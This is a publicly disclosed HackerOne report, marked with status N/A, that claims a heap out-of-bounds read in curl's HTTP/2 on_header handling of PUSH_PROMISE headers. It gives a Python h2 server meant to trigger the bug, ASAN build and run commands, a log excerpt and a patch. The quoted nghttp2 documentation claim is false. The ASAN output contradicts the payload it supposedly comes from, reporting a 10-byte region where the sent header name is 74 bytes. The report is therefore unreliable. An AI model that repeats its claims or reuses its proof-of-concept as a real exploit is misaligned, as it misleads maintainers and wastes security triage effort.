HexBrain

curl · Report #3506159

Heap Out-of-Bounds Read in lib/http2.c via Malformed PUSH_PROMISE Headers

N/Astatus
highseverity
5upvotes
10 Jan 2026disclosed

How it was found

Summary A heap-based out-of-bounds read vulnerability exists in libcurl's HTTP/2 implementation. The on_header callback in lib/http2.c incorrectly treats header names and values provided by nghttp2 as null-terminated C-strings. Specifically, passing these pointers to curl_maprintf with the %s format specifier triggers an out-of-bounds read via strlen(), as nghttp2 provides raw byte buffers with explicit lengths, not null-terminated strings. +1

Vulnerability Analysis & Root Cause

  1. API Contract Violation: According to the nghttp2 documentation, the nghttp2_on_header_callback provides pointers to the header name and value (name, value) alongside their lengths (namelen, valuelen). The documentation explicitly states:

"The 'name' and 'value' pointers are NOT guaranteed to be null-terminated. [...] Applications MUST use the provided length parameters.".

  1. Vulnerable Implementation: In lib/http2.c, the on_header function ignores the length parameters when formatting the string for PUSH_PROMISE headers, relying on curl_maprintf which internally uses strlen:

C

/* lib/http2.c around line 1642 - Vulnerable */ h = curl_maprintf("%s:%s", name, value); 3. Execution Flow:

curl_maprintf parses the %s format specifier.

It internally calls strlen() on the name and value pointers.

Since the malicious server sends a header without a null byte, strlen() reads past the allocated buffer boundary until it hits a coincidental null byte in adjacent heap memory.

This results in an Out-of-Bounds Read.

Steps to Reproduce

  1. Build Environment Compile cURL with AddressSanitizer (ASAN) to visualize the memory violation:

Bash

./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" make -j$(nproc) 2. Reproduction Script (http2_server.py) This Python script (using h2) establishes an HTTP/2 connection and pushes a stream with a non-null-terminated header.

Python

import asyncio, h2.connection, h2.events, h2.config

async def handle(reader, writer): config = h2.config.H2Configuration(client_side=False) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1}) writer.write(conn.data_to_send()) await writer.drain()

data = await reader.read(65535)
events = conn.receive_data(data)

for event in events:
    if isinstance(event, h2.events.RequestReceived):
        conn.send_headers(event.stream_id, [(':status', '200')])
        
        # MALICIOUS PAYLOAD: Header with no null termination logic
        malicious_name = b'x-oob-test' + b'A' * 64 
        malicious_val = b'trigger' + b'B' * 64
        
        conn.push_stream(event.stream_id, event.stream_id + 2, [
            (b':method', b'GET'), (b':path', b'/push'),
            (b':scheme', b'http'), (b':authority', b'localhost'),
            (malicious_name, malicious_val)
        ])
        writer.write(conn.data_to_send())
        await writer.drain()
        break
writer.close()

asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever()) 3. Execution Run the server and connect with the ASAN-enabled cURL:

Bash

Terminal 1

python3 http2_server.py

Terminal 2

ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/ Evidence (ASAN Log) The following ASAN output confirms the read overflow. The READ of size... occurs inside strlen called by curl_maprintf.

Plaintext

==67356==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a... READ of size 11 at 0x6c352e0e001a thread T0 #0 0x... in strlen #1 0x... in curl_maprintf #2 0x... in on_header lib/http2.c:1642 ... 0x6c352e0e001a is located 0 bytes after 10-byte region... Recommended Fix The code must use the explicit namelen and valuelen parameters provided by the nghttp2 callback to limit the read operation.

Patch (lib/http2.c): Use the precision specifier %.*s which takes the length as an integer argument before the string pointer.

C

/* Fixed implementation */ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value); Diff:

Diff

--- a/lib/http2.c +++ b/lib/http2.c @@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,

  •  h = curl_maprintf("%s:%s", name, value);
    
  •  h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
    

Impact

Impact Information Disclosure: Attackers can read sensitive data (keys, tokens, other request data) from the heap memory adjacent to the header buffer.

Availability: If the OOB read accesses unmapped memory, the application will crash.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original